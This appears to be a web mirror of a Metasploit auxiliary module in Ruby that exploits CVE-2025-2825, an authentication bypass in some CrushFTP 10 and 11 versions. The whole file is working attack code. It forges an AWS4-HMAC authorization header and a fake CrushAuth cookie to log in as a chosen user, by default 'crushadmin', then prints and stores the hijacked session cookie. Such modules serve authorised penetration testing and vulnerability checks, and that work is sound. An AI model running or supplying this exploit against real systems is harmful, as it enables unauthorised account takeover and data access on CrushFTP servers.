CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/crushftp_authbypass_cve_2025_2825.rb
Views: 18083
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'CrushFTP AWS4-HMAC Authentication Bypass',
14
'Description' => %q{
15
This module leverages an authentication bypass in CrushFTP 11 < 11.3.1 and 10 < 10.8.4. Attackers
16
with knowledge of a valid username can provide a crafted S3 authentication header to the CrushFTP web API
17
to authenticate as that user without valid credentials. When successfully executed, the exploit will
18
output working session cookies for the target user account.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [
22
'Outpost24', # Initial Discovery
23
'remmons-r7' # MSF Module & Rapid7 Analysis
24
],
25
'References' => [
26
['CVE', '2025-2825'],
27
['URL', 'https://attackerkb.com/topics/k0EgiL9Psz/cve-2025-2825/rapid7-analysis']
28
],
29
'Notes' => {
30
'Stability' => [CRASH_SAFE],
31
# The CrushFTP.log file will contain a log of the HTTP requests
32
# Similarly, files in logs/session_logs/ will contain a log of the HTTP requests
33
# The sessions.obj file will temporarily persist details of recent requests
34
'SideEffects' => [IOC_IN_LOGS],
35
'Reliability' => []
36
}
37
)
38
)
39
40
register_options(
41
[
42
Opt::RPORT(8080),
43
OptString.new('TARGETUSER', [true, 'The target account to forge a session cookie for', 'crushadmin']),
44
OptString.new('TARGETURI', [true, 'The URI path to CrushFTP', '/'])
45
]
46
)
47
end
48
49
def run
50
# Unauthenticated requests to WebInterface endpoints should receive a response containing an 'anonymous' user session cookie
51
print_status('Confirming the target is a CrushFTP web service')
52
res_anonymous = get_anon_session
53
54
fail_with(Failure::Unknown, 'Connection failed - unable to get web API response') unless res_anonymous
55
56
# Confirm that the response returned a CrushAuth cookie and the status code was 404. If this is not the case, the target is probably not CrushFTP
57
if (res_anonymous&.code != 404) || res_anonymous&.get_cookies !~ /CrushAuth=([^;]+;)/
58
fail_with(Failure::Unknown, 'The target does not appear to be a CrushFTP web service')
59
end
60
61
# Generate a properly formatted fake CrushFTP cookie
62
user_cookie = generate_fake_cookie
63
64
print_status('Attempting to bypass authentication')
65
res_bypass = perform_auth_bypass(datastore['TARGETUSER'], user_cookie)
66
67
# Confirm that the target returns an empty response, otherwise it shouldn't be vulnerable
68
fail_with(Failure::NotVulnerable, 'The target unexpectedly returned a response') if res_bypass
69
70
print_good('The target returned the expected empty response and is likely vulnerable')
71
72
# Perform a duplicate request to confirm the cookie is now authenticated
73
print_status('Attempting to access an authenticated API endpoint with the malicious session cookie')
74
res_bypass = perform_auth_bypass(datastore['TARGETUSER'], user_cookie)
75
76
# Check for request failure, which indicates that the provided username is invalid
77
fail_with(Failure::BadConfig, 'Connection failed - the provided username is likely invalid') unless res_bypass
78
79
# If the target doesn't return a success message, assume the exploit failed
80
if !res_bypass.body.include? "<response>success</response><username>#{datastore['TARGETUSER']}</username>"
81
fail_with(Failure::Unknown, 'Exploit failed - the target did not confirm authentication status')
82
end
83
84
cookie_string = "Cookie: CrushAuth=#{user_cookie}; currentAuth=#{user_cookie.to_s[-4..]}"
85
86
print_good("Authentication bypass succeeded! Cookie string generated\n#{cookie_string}\n")
87
88
report_vuln(
89
host: rhost,
90
name: name,
91
refs: references
92
)
93
94
store_loot('CrushAuth', 'text/plain', datastore['RHOST'], cookie_string)
95
end
96
97
# A GET request to /WebInterface/ should return a 404 response that contains an 'anonymous' user cookie
98
def get_anon_session
99
send_request_cgi(
100
'method' => 'GET',
101
'uri' => normalize_uri(target_uri.path, 'WebInterface/')
102
)
103
end
104
105
def generate_fake_cookie
106
current_timestamp = Time.now.to_i
107
random_string = Rex::Text.rand_text_alphanumeric(30)
108
"#{current_timestamp}_#{random_string}"
109
end
110
111
# Make a request to the getUsername web API with the malicious bypass header
112
def perform_auth_bypass(username, cookie)
113
send_request_cgi(
114
{
115
'method' => 'POST',
116
'uri' => normalize_uri(target_uri.path, 'WebInterface', 'function/'),
117
'cookie' => "CrushAuth=#{cookie}",
118
'headers' => {
119
'Connection' => 'close',
120
'Authorization' => "AWS4-HMAC-SHA256 Credential=#{username}/"
121
},
122
'vars_post' => {
123
'command' => 'getUsername',
124
# The c2f parameter must be the last four characters of the primary session cookie
125
'c2f' => cookie.to_s[-4..]
126
}
127
}
128
)
129
end
130
end
131
132